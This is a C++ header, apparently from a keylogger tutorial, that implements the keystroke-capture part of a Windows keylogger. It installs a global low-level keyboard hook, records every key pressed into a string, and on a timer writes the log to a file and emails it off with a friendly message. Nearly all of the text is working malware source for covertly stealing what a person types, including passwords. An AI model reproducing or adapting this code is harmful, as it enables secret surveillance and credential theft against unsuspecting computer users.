**“KeybHook.h”**

**(Because of different format code may appear different)**

#ifndef KEYBHOOK\_H

#define KEYBHOOK\_H

#include <iostream>

#include <fstream>

#include <Windows.h>

#include "KeyConstants.h"

#include "Timer.h"

#include "SendMail.h"

std::string keylog = ""; // where store all key strokes are stored

void TimerSendMail()

{

if (keylog.empty()) // do nothing if keylog is empty

return;

std::string last\_file = IO::WriteLog(keylog);

if (last\_file.empty()) // if empty, write to debugging log (not successful)

{

Helper::WriteAppLog("File creation was not successful. Keylog '" + keylog + "'");

return;

}

int x = Mail::SendMail("Log [" + last\_file + "]",

"Hi :) \nThe file has been attached to this mail :)\nFor testing, enjoy!:\n" + keylog,

IO::GetOurPath(true) + last\_file);

if (x != 7) // if mail was not sent

Helper::WriteAppLog("Mail was not sent! Error code: " + Helper::ToString(x));

else

keylog = ""; // if sent clear keylog

}

Timer MailTimer(TimerSendMail, 500 \* 60, Timer::Infinite); // time to send (30 seconds)

HHOOK eHook = NULL; // pointer to our hook

LRESULT OurKeyBoardProc(int nCode, WPARAM wparam, LPARAM lparam) // intercept key presses

{

// wparam - key type, lparam - type of KBDLLHOOKSTRUCT

// look in KeyConstants.h for key mapping

if (nCode < 0)

CallNextHookEx(eHook, nCode, wparam, lparam);

KBDLLHOOKSTRUCT\* kbs = (KBDLLHOOKSTRUCT\*)lparam;

if (wparam == WM\_KEYDOWN || wparam == WM\_SYSKEYDOWN) // check when key is pressed down or hold

{

keylog += Keys::KEYS[kbs->vkCode].Name; // use the system name from keyboard and use our map to convert it to a human friendly name

if (kbs->vkCode == VK\_RETURN) // new line if enter was pressed

keylog += '\n';

}

else if (wparam == WM\_KEYUP || wparam == WM\_SYSKEYUP) // if key state is released, used for sys keys like SHIFT

{

DWORD key = kbs->vkCode;

if (key == VK\_CONTROL || key == VK\_LCONTROL ||

key == VK\_RCONTROL || key == VK\_SHIFT ||

key == VK\_RSHIFT || key == VK\_LSHIFT ||

key == VK\_MENU || key == VK\_LMENU ||

key == VK\_RMENU || key == VK\_CAPITAL ||

key == VK\_NUMLOCK || key == VK\_LWIN ||

key == VK\_RWIN)

{

std::string KeyName = Keys::KEYS[kbs->vkCode].Name; // translate key to human friendly name

KeyName.insert(1, "/"); // insert like [SHIFT] [a] [b] [/SHIFT]

keylog += KeyName;

}

}

return CallNextHookEx(eHook, nCode, wparam, lparam);

}

bool InstallHook()

{

Helper::WriteAppLog("Hook started... Timer started"); // Debug message

MailTimer.Start(true);

// WH\_KEYBOARD\_LL - indicates we use keyboard hook and LL is low level -> global hook, value 13

// OurKeyBoardProc - procedure invoked by hook system every time user press a key

// GetModuleHandle serves for obatining H instance

// DWTHREADID or 0 is identifier of thread which hook procedure is associated with (all existing threads)

eHook = SetWindowsHookEx(WH\_KEYBOARD\_LL, (HOOKPROC)OurKeyBoardProc, GetModuleHandle(NULL), 0);

return eHook == NULL;

}

bool UninstallHook() // disable hook, does not stop keylogger

{

bool b = UnhookWindowsHookEx(eHook);

eHook = NULL;

return (bool)b;

}

bool IsHooked()

{

return (bool)(eHook == NULL);

}

#endif // KEYBHOOK\_H